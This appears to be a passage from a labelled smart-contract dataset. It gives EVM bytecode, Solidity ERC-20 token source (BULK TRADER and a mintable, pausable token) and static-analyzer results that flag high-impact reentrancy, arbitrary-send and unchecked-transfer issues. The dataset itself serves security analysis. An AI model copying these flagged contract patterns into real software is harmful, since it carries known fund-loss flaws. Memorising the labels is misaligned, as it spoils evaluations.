636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161083a565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116da575060115460ff165b80156116f45750600a546001600160a01b03858116911614155b156118245761170442600f611f9b565b6001600160a01b038516600090815260056020526040902054106117765760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161083a565b600061178130610a90565b9050801561180d5760115462010000900460ff161561180457600d54600a54606491906117b6906001600160a01b0316610a90565b6117c09190611fb3565b6117ca9190611fd2565b81111561180457600d54600a54606491906117ed906001600160a01b0316610a90565b6117f79190611fb3565b6118019190611fd2565b90505b61180d81611908565b47801561181d5761181d47611883565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061186657506001600160a01b03841660009081526004602052604090205460ff165b1561186f575060005b61187c8585858486611a7c565b5050505050565b6008546001600160a01b03166108fc61189d600284611fd2565b6040518115909202916000818181858888f193505050501580156118c5573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118e0600284611fd2565b6040518115909202916000818181858888f1935050505015801561092d573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194c5761194c611ecf565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c99190611f33565b816001815181106119dc576119dc611ecf565b6001600160a01b039283166020918202929092010152600754611a0291309116846110f1565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a3b908590600090869030904290600401611ff4565b600060405180830381600087803b158015611a5557600080fd5b505af1158015611a69573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a888383611a9e565b9050611a9686868684611ae5565b505050505050565b6000808315611ade578215611ab65750600b54611ade565b50600c54601054611ac990610384611f9b565b421015611ade57611adb600582611f9b565b90505b9392505050565b600080611af28484611bc2565b6001600160a01b0388166000908152600260205260409020549193509150611b1b908590611eb8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b4b908390611f9b565b6001600160a01b038616600090815260026020526040902055611b6d81611bf6565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bb291815260200190565b60405180910390a3505050505050565b600080806064611bd28587611fb3565b611bdc9190611fd2565b90506000611bea8287611eb8565b96919550909350505050565b30600090815260026020526040902054611c11908290611f9b565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c5157858101830151858201604001528201611c35565b81811115611c63576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8d57600080fd5b8035611c9981611c79565b919050565b600060208284031215611cb057600080fd5b8135611ade81611c79565b60008060408385031215611cce57600080fd5b8235611cd981611c79565b946020939093013593505050565b60008060408385031215611cfa57600080fd5b50508035926020909101359150565b600080600060608486031215611d1e57600080fd5b8335611d2981611c79565b92506020840135611d3981611c79565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d7357600080fd5b823567ffffffffffffffff80821115611d8b57600080fd5b818501915085601f830112611d9f57600080fd5b813581811115611db157611db1611d4a565b8060051b604051601f19603f83011681018181108582111715611dd657611dd6611d4a565b604052918252848201925083810185019188831115611df457600080fd5b938501935b82851015611e1957611e0a85611c8e565b84529385019392850192611df9565b98975050505050505050565b600060208284031215611e3757600080fd5b5035919050565b8015158114610a8d57600080fd5b600060208284031215611e5e57600080fd5b8135611ade81611e3e565b60008060408385031215611e7c57600080fd5b8235611e8781611c79565b91506020830135611e9781611c79565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611eca57611eca611ea2565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ef757611ef7611ea2565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4557600080fd5b8151611ade81611c79565b600080600060608486031215611f6557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f9057600080fd5b8151611ade81611e3e565b60008219821115611fae57611fae611ea2565b500190565b6000816000190483118215151615611fcd57611fcd611ea2565b500290565b600082611fef57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120445784516001600160a01b03168352938301939183019160010161201f565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212206b3690a74b40803e16aae284476bba58b7371a6f3ccc58d4be1f83453f3a32ee64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,258 |
0x5819f24d478e4630930bd97d640dd2fdabd0a4ff
|
pragma solidity ^0.4.24;
/*
* Creator: Bulk (BULK TRADER)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* BULK TRADER smart contract.
*/
contract BulkToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function BulkToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "BULK TRADER";
string constant public symbol = "Bulk";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae4565b005b34801561043c57600080fd5b50610445610d04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3d565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc9565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e50565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f42554c4b2054524144455200000000000000000000000000000000000000000081525081565b6000806106ed3385610dc9565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb1565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a3565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ada576109d56b033b2e3c9fd0803ce8000000600454611489565b8211156109e55760009050610adf565b610a2d6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7b600454836114a2565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610adf565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7d57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d6020811015610c4d57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f42756c6b0000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9857600080fd5b600560009054906101000a900460ff1615610db65760009050610dc3565b610dc083836114c0565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eac57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee757600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110e057600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116d5760009050611482565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bc5760009050611482565b6000821180156111f857508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141857611283600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d56000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149757fe5b818303905092915050565b60008082840190508381101515156114b657fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fd57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154c576000905061170c565b60008211801561158857508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a2576115d56000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165f6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820f31183637c6546c99d5430ce9c1250e5b8366802a2f3d89320c95a24c3df9ada0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,259 |
0x70504eeed81fa1d75c84cf83c67e9f8cc03350b9
|
/*! silkroad.sol | (c) 2018 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | License: MIT */
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if(a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
constructor() public {
owner = msg.sender;
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) public returns(bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public {
require(_to != address(0));
require(address(this).balance >= _value);
_to.transfer(_value);
}
function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public {
require(_token.transfer(_to, _value));
}
function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public {
require(_token.transferFrom(_from, _to, _value));
}
function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public {
require(_token.approve(_spender, _value));
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
